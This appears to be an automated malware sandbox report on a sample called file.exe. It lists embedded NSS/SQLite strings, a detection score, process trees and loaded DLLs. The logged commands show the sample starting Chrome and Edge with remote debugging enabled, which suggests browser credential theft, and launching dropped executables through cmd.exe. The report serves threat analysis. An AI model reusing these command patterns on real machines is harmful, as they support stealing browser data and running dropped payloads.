Source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050353924.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050353924.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050353924.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050353924.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050353924.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050353924.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050353924.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1671197011.000000001D729000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1761690946.000000001D71D000.00000004.00000020.00020000.00000000.sdmp, CFHDHIJDGCBAKFIEGHCB.0.dr, HDGIEBGHDAEBGDGCFIID.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050353924.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2050353924.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsFIJKEHJJDA.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2152,i,10364576759027782429,328392540784859071,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2232,i,12845795122803726069,17176105221645412444,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2504 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6900 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6916 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIJKEHJJDA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIJKEHJJDA.exe "C:\Users\user\DocumentsFIJKEHJJDA.exe"
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=3092 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIJKEHJJDA.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2152,i,10364576759027782429,328392540784859071,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2232,i,12845795122803726069,17176105221645412444,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2504 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6900 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6916 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=3092 --field-trial-handle=2200,i,14336553411767797266,12049629393296315810,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIJKEHJJDA.exe "C:\Users\user\DocumentsFIJKEHJJDA.exe"
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1823232 > 1048576

Source: file.exe

Static PE information: Raw size of hiyxmwfd is bigger than: 0x100000 < 0x1a3200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2054951499.000000006CC9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

